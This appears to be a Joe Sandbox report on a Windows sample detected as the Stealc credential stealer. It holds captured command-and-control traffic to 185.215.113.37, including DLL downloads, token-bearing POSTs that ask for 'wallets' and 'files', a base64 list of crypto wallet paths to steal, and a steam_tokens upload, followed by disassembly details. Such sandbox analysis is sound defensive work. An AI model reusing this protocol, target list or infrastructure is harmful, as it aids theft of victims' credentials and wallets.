Oct 20, 2024 06:40:21.752166033 CEST	1236	IN	HTTP/1.1 200 OK Date: Sun, 20 Oct 2024 04:40:21 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Oct 20, 2024 06:40:21.982194901 CEST	98	OUT	GET /0d60be0de163924d/vcruntime140.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 20, 2024 06:40:22.367701054 CEST	1236	IN	HTTP/1.1 200 OK Date: Sun, 20 Oct 2024 04:40:22 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Oct 20, 2024 06:40:22.881225109 CEST	202	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EBGIDGCAFCBKECAAKJJK Host: 185.215.113.37 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
Oct 20, 2024 06:40:23.735227108 CEST	202	IN	HTTP/1.1 200 OK Date: Sun, 20 Oct 2024 04:40:23 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=83 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 20, 2024 06:40:23.796200991 CEST	468	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AFIEGIECGCBKFIEBGCAA Host: 185.215.113.37 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 46 49 45 47 49 45 43 47 43 42 4b 46 49 45 42 47 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 39 64 38 34 37 61 64 30 36 63 31 66 33 30 32 63 61 30 63 65 38 31 61 37 62 61 39 35 62 37 39 37 64 63 62 38 30 62 36 30 39 36 35 32 62 35 65 35 66 61 64 30 38 36 35 65 34 65 37 65 65 66 33 35 36 30 31 31 63 31 30 0d 0a 2d 2d 2d 2d 2d 2d 41 46 49 45 47 49 45 43 47 43 42 4b 46 49 45 42 47 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 41 46 49 45 47 49 45 43 47 43 42 4b 46 49 45 42 47 43 41 41 2d 2d 0d 0a Data Ascii: ------AFIEGIECGCBKFIEBGCAAContent-Disposition: form-data; name="token"89d847ad06c1f302ca0ce81a7ba95b797dcb80b609652b5e5fad0865e4e7eef356011c10------AFIEGIECGCBKFIEBGCAAContent-Disposition: form-data; name="message"wallets------AFIEGIECGCBKFIEBGCAA--
Oct 20, 2024 06:40:24.371592045 CEST	1236	IN	HTTP/1.1 200 OK Date: Sun, 20 Oct 2024 04:40:24 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=82 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Oct 20, 2024 06:40:24.374228001 CEST	466	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AAFIIJDAAAAKFHIDAAAK Host: 185.215.113.37 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 41 46 49 49 4a 44 41 41 41 41 4b 46 48 49 44 41 41 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 39 64 38 34 37 61 64 30 36 63 31 66 33 30 32 63 61 30 63 65 38 31 61 37 62 61 39 35 62 37 39 37 64 63 62 38 30 62 36 30 39 36 35 32 62 35 65 35 66 61 64 30 38 36 35 65 34 65 37 65 65 66 33 35 36 30 31 31 63 31 30 0d 0a 2d 2d 2d 2d 2d 2d 41 41 46 49 49 4a 44 41 41 41 41 4b 46 48 49 44 41 41 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 41 41 46 49 49 4a 44 41 41 41 41 4b 46 48 49 44 41 41 41 4b 2d 2d 0d 0a Data Ascii: ------AAFIIJDAAAAKFHIDAAAKContent-Disposition: form-data; name="token"89d847ad06c1f302ca0ce81a7ba95b797dcb80b609652b5e5fad0865e4e7eef356011c10------AAFIIJDAAAAKFHIDAAAKContent-Disposition: form-data; name="message"files------AAFIIJDAAAAKFHIDAAAK--
Oct 20, 2024 06:40:24.724723101 CEST	202	IN	HTTP/1.1 200 OK Date: Sun, 20 Oct 2024 04:40:24 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=81 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 20, 2024 06:40:24.737612963 CEST	564	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KEHDBAEGIIIEBGCAAFHI Host: 185.215.113.37 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 45 48 44 42 41 45 47 49 49 49 45 42 47 43 41 41 46 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 39 64 38 34 37 61 64 30 36 63 31 66 33 30 32 63 61 30 63 65 38 31 61 37 62 61 39 35 62 37 39 37 64 63 62 38 30 62 36 30 39 36 35 32 62 35 65 35 66 61 64 30 38 36 35 65 34 65 37 65 65 66 33 35 36 30 31 31 63 31 30 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 48 44 42 41 45 47 49 49 49 45 42 47 43 41 41 46 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 48 44 42 41 45 47 49 49 49 45 42 47 43 41 41 46 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------KEHDBAEGIIIEBGCAAFHIContent-Disposition: form-data; name="token"89d847ad06c1f302ca0ce81a7ba95b797dcb80b609652b5e5fad0865e4e7eef356011c10------KEHDBAEGIIIEBGCAAFHIContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------KEHDBAEGIIIEBGCAAFHIContent-Disposition: form-data; name="file"------KEHDBAEGIIIEBGCAAFHI--
Oct 20, 2024 06:40:25.589540958 CEST	202	IN	HTTP/1.1 200 OK Date: Sun, 20 Oct 2024 04:40:24 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=80 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 20, 2024 06:40:25.619966984 CEST	473	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KJDHCAFCGDAAKEBFIJDG Host: 185.215.113.37 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4a 44 48 43 41 46 43 47 44 41 41 4b 45 42 46 49 4a 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 39 64 38 34 37 61 64 30 36 63 31 66 33 30 32 63 61 30 63 65 38 31 61 37 62 61 39 35 62 37 39 37 64 63 62 38 30 62 36 30 39 36 35 32 62 35 65 35 66 61 64 30 38 36 35 65 34 65 37 65 65 66 33 35 36 30 31 31 63 31 30 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 44 48 43 41 46 43 47 44 41 41 4b 45 42 46 49 4a 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 44 48 43 41 46 43 47 44 41 41 4b 45 42 46 49 4a 44 47 2d 2d 0d 0a Data Ascii: ------KJDHCAFCGDAAKEBFIJDGContent-Disposition: form-data; name="token"89d847ad06c1f302ca0ce81a7ba95b797dcb80b609652b5e5fad0865e4e7eef356011c10------KJDHCAFCGDAAKEBFIJDGContent-Disposition: form-data; name="message"ybncbhylepme------KJDHCAFCGDAAKEBFIJDG--
Oct 20, 2024 06:40:25.985826969 CEST	1236	IN	HTTP/1.1 200 OK Date: Sun, 20 Oct 2024 04:40:25 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 4736 Keep-Alive: timeout=5, max=79 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 2a 2e 70 6c 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 73 75 70 70 6f 72 74 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 0a 73 75 70 70 6f 72 74 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 0a 73 75 70 70 6f 72 74 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 0a 73 75 70 70 6f 72 74 2e 6f 66 66 69 63 65 2e 63 6f 6d 0a 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 0a 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 0a 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 0a 73 75 70 70 6f 72 74 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 0a 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 0a 2e 63 31 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 0a 73 75 70 70 6f 72 74 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 0a 2e 63 2e 62 69 6e 67 2e 63 6f 6d 0a 2e 63 31 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 0a 2e 62 69 6e 67 2e 63 6f 6d 0a 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 0a 73 75 70 70 6f 72 74 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 0a 2e 63 2e 62 69 6e 67 2e 63 6f 6d 0a 2e 63 2e 62 69 6e 67 2e 63 6f 6d 0a 2e 63 31 2e 6d 69 63 72 [TRUNCATED] Data Ascii: .pl<br> 1.google.comsupport.microsoft.comsupport.microsoft.comsupport.microsoft.comsupport.office.com.microsoft.com.microsoft.com.microsoft.comsupport.microsoft.com.microsoft.com.c1.microsoft.comsupport.microsoft.com.c.bing.com.c1.microsoft.com.bing.com.microsoft.comsupport.microsoft.com.c.bing.com.c.bing.com.c1.microsoft.comlogin.microsoftonline.comsupport.microsoft.com.microsoft.comlogin.microsoftonline.com.google.com<br>.ar<br> 1.google.comsupport.microsoft.comsupport.microsoft.comsupport.microsoft.comsupport.office.com.microsoft.com.microsoft.com.microsoft.comsupport.microsoft.com.microsoft.com.c1.microsoft.comsupport.microsoft.com.c.bing.com.c1.microsoft.com.bing.com.microsoft.comsupport.microsoft.com.c.bing.com.c.bing.com.c1.microsoft.comlogin.microsoftonline.comsupport.microsoft.com.microsoft.comlogin.microsoftonline.com.google.com<br>*.br<br> 1.google.comsupport.microsoft.comsupport.microsoft.comsupport.microsoft.comsupport.offi
Oct 20, 2024 06:40:25.987644911 CEST	473	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HDAFBGIJKEGIECAAFHDH Host: 185.215.113.37 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 44 41 46 42 47 49 4a 4b 45 47 49 45 43 41 41 46 48 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 39 64 38 34 37 61 64 30 36 63 31 66 33 30 32 63 61 30 63 65 38 31 61 37 62 61 39 35 62 37 39 37 64 63 62 38 30 62 36 30 39 36 35 32 62 35 65 35 66 61 64 30 38 36 35 65 34 65 37 65 65 66 33 35 36 30 31 31 63 31 30 0d 0a 2d 2d 2d 2d 2d 2d 48 44 41 46 42 47 49 4a 4b 45 47 49 45 43 41 41 46 48 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 48 44 41 46 42 47 49 4a 4b 45 47 49 45 43 41 41 46 48 44 48 2d 2d 0d 0a Data Ascii: ------HDAFBGIJKEGIECAAFHDHContent-Disposition: form-data; name="token"89d847ad06c1f302ca0ce81a7ba95b797dcb80b609652b5e5fad0865e4e7eef356011c10------HDAFBGIJKEGIECAAFHDHContent-Disposition: form-data; name="message"wkkjqaiaxkhb------HDAFBGIJKEGIECAAFHDH--
Oct 20, 2024 06:40:26.836683035 CEST	202	IN	HTTP/1.1 200 OK Date: Sun, 20 Oct 2024 04:40:26 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=78 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Target ID:	0
Start time:	00:39:57
Start date:	20/10/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x6f0000
File size:	1'863'680 bytes
MD5 hash:	EA1BF920607C9BB2FD526E099BF44660
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.1686260675.00000000050A0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.1964639333.000000000121E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.1963816981.00000000006F1000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.1964639333.0000000001291000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	5.3%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	4%
Total number of Nodes:	2000
Total number of Limit Nodes:	37

Executed Functions

Function 00709860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(74DD0000,01232338), ref: 007098A1
GetProcAddress.KERNEL32(74DD0000,012324B8), ref: 007098BA
GetProcAddress.KERNEL32(74DD0000,01232350), ref: 007098D2
GetProcAddress.KERNEL32(74DD0000,01232278), ref: 007098EA
GetProcAddress.KERNEL32(74DD0000,012324A0), ref: 00709903
GetProcAddress.KERNEL32(74DD0000,01239138), ref: 0070991B
GetProcAddress.KERNEL32(74DD0000,01225850), ref: 00709933
GetProcAddress.KERNEL32(74DD0000,012257D0), ref: 0070994C
GetProcAddress.KERNEL32(74DD0000,012322A8), ref: 00709964
GetProcAddress.KERNEL32(74DD0000,012323C8), ref: 0070997C
GetProcAddress.KERNEL32(74DD0000,01232458), ref: 00709995
GetProcAddress.KERNEL32(74DD0000,012324E8), ref: 007099AD
GetProcAddress.KERNEL32(74DD0000,01225910), ref: 007099C5
GetProcAddress.KERNEL32(74DD0000,012322D8), ref: 007099DE
GetProcAddress.KERNEL32(74DD0000,01232488), ref: 007099F6
GetProcAddress.KERNEL32(74DD0000,012256B0), ref: 00709A0E
GetProcAddress.KERNEL32(74DD0000,01232218), ref: 00709A27
GetProcAddress.KERNEL32(74DD0000,01232230), ref: 00709A3F
GetProcAddress.KERNEL32(74DD0000,012259D0), ref: 00709A57
GetProcAddress.KERNEL32(74DD0000,012322C0), ref: 00709A70
GetProcAddress.KERNEL32(74DD0000,012257F0), ref: 00709A88
LoadLibraryA.KERNEL32(01232308,?,00706A00), ref: 00709A9A
LoadLibraryA.KERNEL32(01232320,?,00706A00), ref: 00709AAB
LoadLibraryA.KERNEL32(01232368,?,00706A00), ref: 00709ABD
LoadLibraryA.KERNEL32(012324D0,?,00706A00), ref: 00709ACF
LoadLibraryA.KERNEL32(01232428,?,00706A00), ref: 00709AE0
GetProcAddress.KERNEL32(75A70000,012323E0), ref: 00709B02
GetProcAddress.KERNEL32(75290000,012323F8), ref: 00709B23
GetProcAddress.KERNEL32(75290000,01232410), ref: 00709B3B
GetProcAddress.KERNEL32(75BD0000,01232440), ref: 00709B5D
GetProcAddress.KERNEL32(75450000,01225810), ref: 00709B7E
GetProcAddress.KERNEL32(76E90000,012391C8), ref: 00709B9F
GetProcAddress.KERNEL32(76E90000,NtQueryInformationProcess), ref: 00709BB6

Strings

NtQueryInformationProcess, xrefs: 00709BAA

Memory Dump Source

Source File: 00000000.00000002.1963816981.00000000006F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006F0000, based on PE: true

Associated: 00000000.00000002.1963799335.00000000006F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000778000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000077F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000782000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000080B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000895000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000008B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000008BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.000000000094E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000AD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964386132.0000000000BEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964488608.0000000000D8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964503749.0000000000D90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f0000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: NtQueryInformationProcess
API String ID: 2238633743-2781105232
Opcode ID: 8bc3251c37a2bebd55f810d7f5c5118e1d1972c077d9a1f3dbde11fb5f77fc13
Instruction ID: cb303f724a7de1fc445a607b753e201c61c53d6b9447a5eb8108035d487b2e53
Opcode Fuzzy Hash: 8bc3251c37a2bebd55f810d7f5c5118e1d1972c077d9a1f3dbde11fb5f77fc13
Instruction Fuzzy Hash: F3A12AB592C240AFD344EFA8ED88A663BF9F75C301704851AE686C3274D739A841EF52

Function 006F45C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000), ref: 006F460E
VirtualProtect.KERNEL32(?,00000004,00000100,00000000), ref: 006F479C

Strings

The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 006F4765
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 006F471E
